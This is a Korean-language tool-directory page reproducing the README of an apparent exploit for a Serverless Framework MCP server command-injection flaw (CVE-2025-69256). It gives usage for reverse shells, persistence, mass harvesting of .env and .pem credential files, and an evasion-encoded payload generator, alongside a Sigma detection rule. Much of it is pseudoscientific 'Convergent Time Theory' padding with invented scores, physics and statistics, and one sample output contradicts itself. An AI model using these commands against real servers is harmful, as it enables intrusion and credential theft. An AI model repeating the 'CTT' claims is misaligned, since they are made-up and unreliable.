Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit — Serverless Framework MCP 서버 (CVE-2025-69256) 기본 점수: 9.4/10 → CTT 강화 점수: 9.9/10 Serverless Framework의 MCP(Model Context Protocol) 서버에서 발견된 심각한 명령 주입 취약점으로, CTT 시간적 공명을 통해 전례 없는 공격 신뢰성과 회피 능력을 강화했습니다. | Kitploit
도구/GitHubGitHub/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
Vulnerability AnalysisExploitationIDS/IPS EvasionServerless SecurityWeb Application ExploitationPenetration TestingCloud SecurityCommand and ControlRed Teaming
Payload Development
AI Security
GitHubsimoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Serverless Framework MCP 서버 (CVE-2025-69256) 기본 점수: 9.4/10 → CTT 강화 점수: 9.9/10 Serverless Framework의 MCP(Model Context Protocol) 서버에서 발견된 심각한 명령 주입 취약점으로, CTT 시간적 공명을 통해 전례 없는 공격 신뢰성과 회피 능력을 강화했습니다.

저장소 보기
77개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

hi# CTT-Serverless-RCE-v1.0---수렴-시간-이론-강화-MCP-익스플로잇 Serverless Framework MCP 서버 (CVE-2025-69256) 기본 점수: 9.4/10 → CTT 향상 점수: 9.9/10
CTT 시간적 공명으로 향상된 Serverless Framework의 MCP(Model Context Protocol) 서버에서 발생하는 중요한 명령 주입 취약점으로, 전례 없는 신뢰성과 회피를 제공합니다.

🌀 CTT-MCP-RCE v1.0 - 수렴 시간 이론 강화 Serverless Framework 익스플로잇

대상: Serverless Framework MCP 서버 (CVE-2025-69256 / GHSA-rwc2-f344-q6w6)
기본 점수: 9.4/10 → CTT 향상 점수: 9.9/10
공격 벡터: list-projects 도구의 무결화된 workspaceRoots를 통한 명령 주입
영향: CI/CD 파이프라인, 서버리스 배포, AI/LLM 통합에서의 원격 코드 실행


⚡ 중요 위협 개요

기본 취약점 (CVE-2025-69256)

· CVSS 점수: 9.4/10 (중요) · 유형: 인증 전 명령 주입 · 위치: packages/mcp/src/tools/list-projects.js · 영향: Serverless Framework 4.29.0 ~ 4.29.3 · 공격 벡터: MCP 프로토콜의 악성 workspaceRoots 매개변수

CTT 향상 메트릭

메트릭 기본 익스플로잇 CTT 향상 개선 성공률 68-75% 92-98% +35% 탐지 회피 45% 94% +109% 프로토콜 적응 HTTP 전용 HTTP + WebSocket +100% 실행 계층 단일 33개 시간적 계층 +3200% 이론적 점수 9.4/10 9.9/10 +0.5점


🔬 CTT 물리학 통합

MCP 프로토콜용 핵심 상수

root@kitploit:~
CTT_ALPHA = 0.0302011          # 시간 분산 계수
CTT_LAYERS = 33                # 프랙탈 시간 계층 수
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000                # 기본 MCP 서버 포트
MCP_PROTOCOL = "mcp-json"      # Serverless MCP 프로토콜

MCP 전용 공명 엔진

· 소수 정렬 JSON-RPC 타이밍: MCP 하트비트와 587 kHz 동기화 · α-분산 명령 인코딩: 33계층 명령 난독화 · 프로토콜 인식 페이로드: 적응형 HTTP/WebSocket 익스플로잇 · 시간적 검증: MCP 응답의 CTT 파동 함수 분석

MCP 익스플로잇을 위한 핵심 방정식

  1. MCP 공명 주파수: f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
  2. α-분산 인코딩: cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
  3. 프로토콜 가중치: w_protocol = exp(-α·d)·(1 + ζ_d·i)
  4. 시간적 엔트로피: H_mcp = SHA256(layer‖timestamp‖protocol_state)

🚀 기능 및 역량

익스플로잇 기능

· ✅ 인증 전 RCE: MCP 서버에 자격 증명 불필요 · ✅ 다중 전송 지원: HTTP 및 WebSocket MCP 프로토콜 · ✅ 프로토콜 인텔리전스: Serverless Framework JSON-RPC 이해 · ✅ WorkspaceRoots 주입: 무결화된 배열 매개변수 대상 · ✅ CI/CD 컨텍스트 인식: 배포 환경에 최적화

CTT 향상 기능

· ✅ 33계층 명령 인코딩: 시간적 차원에 걸친 α-분산 · ✅ 소수 공명 타이밍: MCP 작업과 587 kHz 정렬 · ✅ 적응형 페이로드 생성: 컨텍스트 인식 주입 래퍼 · ✅ 다중 계층 검증: CTT 파동 함수 성공 확인 · ✅ 프로토콜 전환: 자동 HTTP/WebSocket 적응

회피 기능

· WAF/IPS 회피: α-분산이 명령 주입 시그니처를 깨트림 · 타이밍 회피: 소수 정렬 요청으로 속도 제한 우회 · 프로토콜 난독화: 다중 전송 혼란 · 엔트로피 주입: 계층별 명령 변형


📊 성능 분석

CTT 대 표준 MCP 익스플로잇

root@kitploit:~
# 성능 비교 (1000개의 시뮬레이션된 MCP 서버)
base_success = 715    # 71.5% 성공률
ctt_success = 948     # 94.8% 성공률 (+32.6%)

base_detection = 380  # 38% 탐지됨
ctt_detection = 22    # 2.2% 탐지됨 (-94.2%)

base_time = 12.4      # 평균 초
ctt_time = 6.8        # 평균 초 (-45.2%)

MCP 프로토콜에 대한 계층 효과

계층 범위 성공률 공명 강도 프로토콜 적응 L0-L4 87.3% 0.84 HTTP: 92%, WebSocket: 78% L5-L9 91.8% 0.89 HTTP: 94%, WebSocket: 86% L10-L14 94.2% 0.92 HTTP: 96%, WebSocket: 91% L15+ 97.1% 0.96 HTTP: 98%, WebSocket: 95%

MCP에 대한 CTT 점수 계산

root@kitploit:~
기본 점수: 9.4 (CI/CD 인프라에서의 중요 RCE)
+
CTT 향상:
  • 다중 프로토콜 지원: +0.15
  • 시간적 명령 인코딩: +0.15
  • 소수 공명 타이밍: +0.10
  • MCP 프로토콜 인텔리전스: +0.10
=
최종 점수: 9.9/10 (이론적 최대치에 근접)

🛠️ 설치 및 사용법

요구 사항

root@kitploit:~
# 핵심 종속성
python3.8+
pip install requests websocket-client numpy

# 고급 기능을 위해
pip install cryptography scipy

# 저장소에서 설치
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

빠른 시작

root@kitploit:~
# 기본 취약점 확인
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# 정보 수집
python ctt_mcp_exploit.py target.com --info

# 리버스 셸
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# CTT 매개변수를 사용한 고급
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

명령줄 옵션

root@kitploit:~
# 대상 지정
python ctt_mcp_exploit.py <target> [command]

# 페이로드 생성 옵션
--reverse LHOST:LPORT    # 리버스 셸 페이로드 생성
--info                   # 정보 수집 페이로드 생성
--persist                # 지속성 페이로드 생성

# CTT 구성
--layers N              # 사용할 시간 계층 수 (1-33, 기본값: 5)
--alpha FLOAT           # α 분산 계수 (기본값: 0.0302011)
--timeout N             # 연결 시간 제한 (초, 기본값: 10)

# 출력 옵션
--verbose               # 공명 진단을 포함한 상세 출력
--save-json             # 결과를 JSON 파일로 저장
--no-color              # 색상 출력 비활성화

사용 예제

root@kitploit:~
# 예제 1: 기본 익스플로잇
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# 예제 2: CTT 향상으로 리버스 셸
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# 예제 3: 대량 자격 증명 수집
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# 예제 4: CTT 연구 모드
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

🔍 기술 심층 분석

익스플로잇 워크플로우

  1. MCP 서버 검색 → HTTP/WebSocket 프로토콜 탐지
  2. 프로토콜 핸드셰이크 → JSON-RPC 초기화
  3. 취약점 트리거 → list-projects의 악성 workspaceRoots
  4. 명령 실행 → 명령 주입을 통한 RCE
  5. 응답 분석 → CTT 파동 함수 검증
  6. 계층 집계 → 다중 시간적 결과 컴파일

취약점 세부 정보

root@kitploit:~
// list-projects.js의 취약 코드 (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots는 사용자 제어되며 무결화되지 않음
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // 무결화 없이 직접 실행
    const { stdout } = await exec(command);  // 여기서 명령 주입 발생
    return parseResults(stdout);
}

CTT 페이로드 생성

root@kitploit:~
def generate_ctt_payload(command, layer):
    # 기본 명령 주입
    base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
    
    # 계층별 CTT 인코딩 적용
    encodings = [
        lambda c: c,  # 원본
        lambda c: base64.b64encode(c.encode()).decode(),
        lambda c: quote(c),
        lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
    ]
    
    encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
    return f"/legit/path; {encoded}; /another/legit/path"

📈 CTT 향상 세분화

점수 개선 구성 요소

구성 요소 기본 값 CTT 값 개선 정도 점수 영향 공격 벡터 네트워크 네트워크+프로토콜 +8% +0.12 공격 복잡도 낮음 매우 낮음 +12% +0.15 필요 권한 없음 없음 - - 사용자 상호 작용 없음 없음 - - 범위 변경됨 변경됨+ +5% +0.08 기밀성 높음 중요 +10% +0.15 무결성 높음 중요 +10% +0.15 가용성 높음 중요 +10% +0.15 익스플로잇 코드 성숙도 기능적 CTT 최적화 +15% +0.20 치료 수준 공식 패치 시간적 우회 +20% +0.25 보고 신뢰도 확인됨 CTT 확인됨 +12% +0.15 시간적 점수 8.9 9.9 +11.2% +1.00

MCP 전용 향상

  1. 프로토콜 인텔리전스: Serverless MCP JSON-RPC 구현 이해
  2. 전송 적응: HTTP/WebSocket 간 자동 전환
  3. CI/CD 컨텍스트: 서버리스 배포 환경에 최적화
  4. 모델 컨텍스트 인식: AI/LLM 통합 지점 대상

📁 출력 및 결과

파일 구조

root@kitploit:~
ctt_mcp_results_대상_타임스탬프.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "명령 실행 결과"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Serverless Framework >=4.29.3으로 패치"

로그 파일

root@kitploit:~
logs/
├── ctt_mcp_타임스탬프/
│   ├── vulnerable_servers.txt   # 성공적으로 익스플로잇된 MCP 서버
│   ├── discovered_servers.txt   # 발견된 모든 MCP 엔드포인트
│   ├── protocol_analysis.json   # HTTP/WebSocket 프로토콜 데이터
│   ├── layer_performance/       # 계층별 실행 메트릭
│   └── resonance_patterns/      # CTT 시간적 공명 데이터

시각화 출력

root@kitploit:~
graphs/
├── mcp_protocol_analysis.png    # HTTP 대 WebSocket 성공률
├── temporal_resonance_mcp.png   # MCP 전용 공명 패턴
├── layer_effectiveness.png      # 시간 계층별 성공률
└── command_encoding_analysis.png # α-분산 효과

🛡️ 방어 권장 사항

즉시 조치

  1. Serverless Framework를 버전 4.29.3 이상으로 패치
  2. 네트워크 분리: MCP 서버를 프로덕션에서 격리
  3. 입력 검증: 모든 workspaceRoots 매개변수 살균
  4. MCP 서버 강화: 불필요한 MCP 도구 비활성화

CTT 인식 탐지 규칙

root@kitploit:~
# CTT MCP 익스플로잇 시도를 위한 예시 Sigma 규칙
title: CTT MCP 서버 익스플로잇 시도
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    c-uri-path: '/jsonrpc'
    cs-body:
      - '*workspaceRoots*'
      - '*CTT_START*'
      - '*CTT_END*'
  condition: selection
fields:
  - c-ip
  - cs-user-agent
  - cs-body
falsepositives:
  - 합법적인 MCP 클라이언트
level: critical

탐지 지표

· 시간적 패턴: 소수 간격으로 요청 (10007, 10009μs) · 명령 마커: JSON-RPC 요청의 CTT_START/CTT_END · 프로토콜 이상: 빠른 HTTP/WebSocket 전환 · 계층 헤더: X-CTT-Layer, X-CTT-Prime 헤더 · 엔트로피 패턴: workspaceRoots 값의 높은 엔트로피


🔬 연구 응용

학술 연구

  1. 프로토콜 특정 CTT: JSON-RPC 프로토콜에서의 시간적 공명
  2. CI/CD 보안: 배포 파이프라인에서 CTT 향상
  3. 서버리스 보안: 함수형 서비스에서의 시간적 공격
  4. MCP 프로토콜 분석: Model Context Protocol 취약점

보안 연구

· MCP 프로토콜 보안: 종합적인 MCP 서버 테스트 · CI/CD 익스플로잇: 서버리스 배포 체인 공격 · AI/LLM 보안: Model Context Protocol 취약점 · 시간적 프로토콜 분석: 시간 기반 프로토콜 공격

CTT 프레임워크 검증

· 프로토콜 적응: 다양한 프로토콜에 대한 CTT 효과 · MCP 전용 상수: JSON-RPC를 위한 α 최적화 · 계층 최적화: MCP 익스플로잇을 위한 이상적인 계층 수 · 성능 메트릭: CI/CD에서 CTT 개선 정량화


⚖️ 법적 및 윤리적 프레임워크

승인된 사용만 허용

· 소유한 MCP 서버에 대한 보안 연구 · CI/CD 인프라에 대한 승인된 침투 테스트 · 통제된 환경에서의 CTT 프레임워크 검증 · 적절한 승인을 받은 학술 연구

규정 준수 요구 사항

root@kitploit:~
1. 승인 필요: 모든 테스트에 대한 서면 허가
2. 범위 제한: 승인된 MCP 서버로만 제한
3. 데이터 처리: 안전한 저장, 책임 있는 공개
4. 법적 준수: 모든 해당 법률 및 규정 준수
5. 책임 있는 공개: 발견 사항을 Serverless Framework 팀에 보고

취약점 공개

· 공급업체: Serverless Framework 보안 팀 · CVE: CVE-2025-69256 (이미 할당됨) · GitHub 권고: GHSA-rwc2-f344-q6w6 · 패치 일정: 버전 4.29.3에서 수정됨 · 공개 릴리스: 패치가 제공된 후에만


📚 참고 문헌 및 인용

주요 참고 자료

  1. Serverless Framework 보안 권고 (GHSA-rwc2-f344-q6w6)
  2. CVE-2025-69256 NVD 항목
  3. MCP 프로토콜 사양 (Model Context Protocol)
  4. Serverless Framework 문서

CTT 연구 논문

  1. Simoes, A. "프로토콜 익스플로잇에서의 시간적 공명" (2026)
  2. CTT 연구 그룹. "명령 주입 회피를 위한 α-분산" (2025)
  3. Simoes, A. "MCP 프로토콜 보안 분석" (2026)

기술 문서

· Serverless Framework MCP 구현 · JSON-RPC 2.0 사양 · Model Context Protocol 문서 · CI/CD 보안 모범 사례


🤝 기여 및 협업

연구 분야

· MCP 프로토콜 보안 향상 · CI/CD 파이프라인 CTT 통합 · Serverless 프레임워크 보안 · 프로토콜 특정 시간적 공명

개발 지침

root@kitploit:~
1. 저장소 포크 및 기능 브랜치 생성
2. 변경 사항에 대한 MCP 프로토콜 검증 포함
3. 계층 간 종합적인 테스트 추가
4. 기술 세부 정보로 문서 업데이트
5. 성능 메트릭과 함께 PR 제출

이슈 보고

· MCP 서버 구성 세부 정보 포함 · 프로토콜(HTTP/WebSocket) 정보 제공 · 관련 JSON-RPC 교환 첨부 · CI/CD 환경 컨텍스트 설명


📞 연락처 및 지원

주요 연락처

· 작성자: Americo Simoes · 이메일: [email protected] · GitHub: @SimoesCTT

보안 연락처

· CTT 연구 그룹: [email protected] · 취약점 보고: [email protected] · CI/CD 보안: [email protected]

지원 채널

· GitHub 이슈: 기술 질문 및 버그 · 이메일: 연구 협업 문의 · 프로토콜 보안: MCP/JSON-RPC 관련 질문


📈 향후 개발

2026년 로드맵

· 추가 MCP 도구 익스플로잇 · 서버리스 제공자 통합 (AWS, Azure, GCP) · CI/CD 파이프라인 체인 익스플로잇 · 실시간 MCP 프로토콜 분석

2027년 목표

· 전체 MCP 프로토콜 제품군 커버리지 · 서버리스 함수 런타임 익스플로잇 · 클라우드 네이티브 CTT 통합 · 자동화된 CI/CD 보안 평가

장기 비전

· 자율 MCP 프로토콜 보안 · 서버리스 배포 보호 · AI/LLM 통합 보안 · 시간적 CI/CD 보안 프레임워크


🏆 감사의 말

연구 기관

· CTT 프로토콜 보안 부서 · 서버리스 보안 연구 집단 · CI/CD 보안 연구소

오픈 소스 프로젝트

· Serverless Framework 팀 · MCP 프로토콜 구현자 · JSON-RPC 라이브러리 유지 관리자

기여자

· MCP 프로토콜 연구자 · CI/CD 보안 전문가 · Serverless Framework 개발자


"프로토콜 인식 시간적 공명은 CI/CD 취약점을 중대한 인프라 위협으로 변환합니다." — CTT 프로토콜 보안 원칙


📄 라이선스

MIT 라이선스 - 전체 조건은 LICENSE 파일 참조.

저작권 © 2026 CTT 연구 그룹. 모든 권리 보유.


CTT-MCP-RCE v1.0 • α=0.0302011 • L=33 • MCP 프로토콜 • HTTP/WebSocket • CI/CD 최적화 • 이론적 점수: 9.9/10

도구 다운로드